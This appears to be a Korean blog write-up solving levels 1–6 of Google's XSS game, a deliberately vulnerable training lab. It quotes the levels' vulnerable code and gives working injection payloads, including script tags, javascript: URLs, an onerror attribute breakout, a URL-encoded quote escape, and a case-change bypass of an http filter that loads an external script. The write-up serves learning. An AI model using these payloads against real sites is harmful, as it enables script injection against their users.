XSS game 1~6번 라업입니다.
1번입니다.

1번 문제는 따로 설명할 필요없이 XSS의 기본을 아시는 분들이라면 바로 푸셨을 거라 생각합니다. 단순히 입력창에서 <script>를 이용하여 alert를 실행해주면 됩니다.
정답: <script>alert();</script>
2번입니다.

2번은 채팅 형식의 문제입니다. 채팅창의 입력 공간을 이용하여 alert를 실행하여야 하는 문제입니다. 1번과 같이 풀어보려고 했지만 되지 않았습니다. 그래서 <a>태그에 href를 삽입하여 자바스크립트의 alert를 실행시키는 링크를 생성해주는 태그를 만들어서 해결했습니다.
정답 : <a href="javascript:alert(1)">Link</a>
3번입니다.

3번 문제는 frame# 뒤의 숫자에 따라 해당 이미지를 가져와서 출력해주는 페이지입니다.
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
3번 문제의 코드를 보면 이미지 속성에 num값을 넣어주는데 이 부분을 이용하여 alert가 발생할 수 있게 바꿔 주었습니다. 이때 onerror 이벤트 핸들러를 통해 alert를 실행해 주었습니다.
정답: onerror='onerror="alert(1)//"'
4번입니다.

<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form>
</form>
</body>
</html>
4번의 index.html입니다. 코드를 확인해보면 timer 부분을 get형식으로 받기 때문에 저희가 원하는대로 값을 바꿔줄 수 있습니다.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
그리고 timer.html 을 보시면 onload 핸들러 부분이 startTimer('{{timer}}'); 부분 이 있는데 힌트를 보면 timer에 싱글 쿼터를 넣어보라고 되어 있습니다. 처음에는 단순히 넣었을 때 계속 로딩이 뜨길래 왜이러지 싶었는데 생각 해보니 timer부분에 싱글쿼터가 들어가면 싱글쿼터가 닫히면서 timer에 아무 값도 없게 되면서 계속 로딩만 되는 것입니다. 그래서 ?timer=';alert('이런식으로 뒤의 ');을 이용하여 alert를 실행하려 했지만 실패하였습니다. 그래서 힌트에 url 인코딩 부분이 있어서 인터넷에 url 인코딩을 해주는 사이트에 ';alert(' 를 넣어 인코딩 한 값을 url에 넣어주니 문제가 풀렸습니다.
정답: ?timer=')%3balert(%27
5번입니다.

5번은 Sign up버튼을 누르면 이메일을 입력할 수 있는 input 태그가 나옵니다.

여기서 url을 보면 next=confirm 부분을 볼 수 있습니다.
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
# Route the request to the appropriate template
if "signup" in self.request.path:
self.render_template('signup.html',
{'next': self.request.get('next')})
elif "confirm" in self.request.path:
self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})
else:
self.render_template('welcome.html', {})
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
leve.py 코드인데 여기 부분을 보면 next의 값을 get형식으로 처리하고 있고, 정확히 이해는 못했지만 next의 값에 따라 출력되는 페이지가 다른 것 같았습니다. 그래서 이부분에 자바스크립트로 alert를 실행해주는 코드를 넣었더니 제가 원하는 alert를 실행하는 부분이 next값에 들어 있어서 문제를 해결할 수 있었습니다.
정답 : next=javascript:alert(1)
6번입니다.

이 문제는 힌트를 보면 www.gstatic.com/charts/loader.js?callback=foo 를 이용하라고 되어 있습니다. 그리고 파일을 불러오는 경로를 잘 확인하라는 힌트가 있습니다. 코드를 살펴보겠습니다.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
index.html 코드입니다. 일단 url에 http부분이 필터링 되어 있습니다. 하지만 이 부분은 한글자를 대문자로 바꾸면 간단히 우회가 가능합니다. 그리고 파일을 불러올때 따로 검증하는 부분이 없기 때문에 frame# 뒤에 제가 원하는 url을 넣으면 해당 부분을 가져올 수 있을 것 같습니다. 그래서 힌트에 있는 파일을 그대로 붙인후 필터링을 우회했지만 풀리지 않았습니다. 그래서 url 부분에서 혹시 callback 뒤부분을 실행하는 건가 싶어서 그 부분을 alert로 바꾸어 주었더니 문제가 해결 됐습니다.
정답 : frame#Https://www.gstatic.com/charts/loader.js?callback=alert

문제를 모두 해결하니 이런 케잌 모양의 그림이 나왔습니다.
'웹 > xss' 카테고리의 다른 글
XSS challenges 7,8,10,15 (0) | 2021.01.09 |
---|---|
XSS challenges 1~6 (0) | 2021.01.09 |